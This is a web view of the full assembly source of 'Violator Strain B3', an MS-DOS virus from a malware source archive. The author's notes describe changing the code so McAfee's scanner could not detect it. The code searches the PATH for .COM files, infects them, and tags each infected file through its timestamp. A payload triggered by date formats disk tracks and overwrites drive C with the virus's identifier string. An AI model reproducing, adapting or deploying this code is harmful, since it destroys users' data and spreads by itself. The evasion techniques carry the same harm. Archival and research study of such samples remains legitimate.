MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.viol-b3.asm
2021-01-12 18:04:54 -06:00

442 lines
14 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;*****************************************************************************
; Violator Strain B3
;*****************************************************************************
;
; Notes: (Oct.24.9O)
; ------------------
;
; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs
; and shit were fixed...
;
; Well, I had to rewrite this one so that McAffee can't scan for it. Took me
; a while, but I just re-did it from scratch and then after doing some
; research, it turned out he was looking for something in the Data Segment.
; So I just re-arranged a few things and voila! Instant unscannable virus!
;
; Also, for the INT filtering routine, I eliminated the extra bytes that do
; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't
; have to keep MOVing it because it's still in memory right?
;
; Silly me wrote the original filter routine after I came home drunk from a
; party, so I didn't take that into account. So we are one step close to having
; K-K00L thrify kode...
;
; I also took out that stupid MOV_CX macro. It was bugging the shit out of me
; becuase it served no purpose other than taking up extra space. MOV CX,virlen
; does the exact same thing...
;
; Other Notes
; -----------
;
; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...)
; I think I'll be popping that into strain B4
;
; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your
; TSR program. It was messy as hell!!! The CALL virus_begin was causing the
; problems. I'll rewrite the TSR for ya ala THETSR methodology.
;
;*****************************************************************************
;
; Written by The High Evolutionary
;
; Copyright (c) 199O by The RABID Nat'nl Development Corp.
; October, 24th, 199O
;*****************************************************************************
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
CLD
MOV SI,DX
ADD SI,first_3
MOV DI,OFFSET 100H
MOV CX,3
REPZ MOVSB
MOV SI,DX
MOV AH,30H
MOV marker,1
CALL filter
CMP AL,0
JNZ year_check
JMP quit
filter: CMP marker,1
JE int_21
CMP marker,2
JE int_13
CMP marker,3
JE int_26
RET
int_21: INT 21H
RET
int_13: INT 13h
RET
int_26: INT 26h
RET
year_check:
MOV AH,2AH ; Get date info
MOV marker,1
CALL filter
CMP CX,year
JGE month_check
JMP infect
month_check:
CMP DH,month
JGE day_check
JMP infect
day_check:
CMP DL,day
JGE kill_13
JMP infect
kill_13:
MOV Al,counter
CALL ala_13
CMP counter,27
JE re_format
INC counter
LOOP kill_13
ala_13: MOV CH,0
MOV DL,counter
MOV AH,05h
MOV DH,0
MOV marker,2
CALL filter
RET
;
; I changed this routine, becuase in the original Violator, I rewrote the
; data segment by calling it for the INT 26. All I did this time, was just
; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
; the Violator identifier string will be written everywhere... Kinda neat!
;
re_format:
PUSHF
MOV BX,OFFSET intro ; Changed it here...
MOV DX,00
MOV CX,800
MOV AL,2
MOV marker,3
CALL filter
POPF
infect: PUSH ES
MOV AH,2FH
MOV marker,1
CALL filter
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
CALL filter
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
find_path:
POP SI
PUSH SI
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path
LOOP check_next_4
POP SI
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden
CALL filter
JMP SHORT find_first
find_next:
MOV AH,4FH
CALL filter
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1CH
CMP AL,1CH
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
CALL filter
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
CALL filter
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
CALL filter
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
INC times ; INC the number of times we infected
MOV BX,AX
MOV AX,OFFSET 5700H
CALL filter
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
CALL filter
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
CALL filter
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
CALL filter
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
MOV [DI],CX
MOV AH,40H
MOV CX,virlen ;Bah! Took out the stupid macro!!!
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
;address of virus code in memory
CALL filter
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
CALL filter
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
CALL filter
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1CH
MOV AX,OFFSET 5701H
CALL filter
MOV AH,3EH
CALL filter
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
CALL filter
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
CALL filter
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;************************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
year DW 1990 ;Set year to 1990
;
; MASM considers a DB value greater than 255 illegal. So I just make the year
; into a Data Word. That way, I can still keep the year as part of the data
; segment for easier modification.
;
; Just for anyone who is curious out there...
;
month DB 12 ;Set month to December
day DB 25 ;Set day to Christmas
intro DB 'Violator Strain B3 - RABID Nat''nl Development Corp.'
marker DB 0 ;Marker for INT purposes
counter DB 2 ;Counter for drives
times DB 0
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
fspec_ DB '*.COM',0
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
CODE ENDS
END VCODE
; The End ? Stay tuned, true believers, for Violator Strain Be-fore...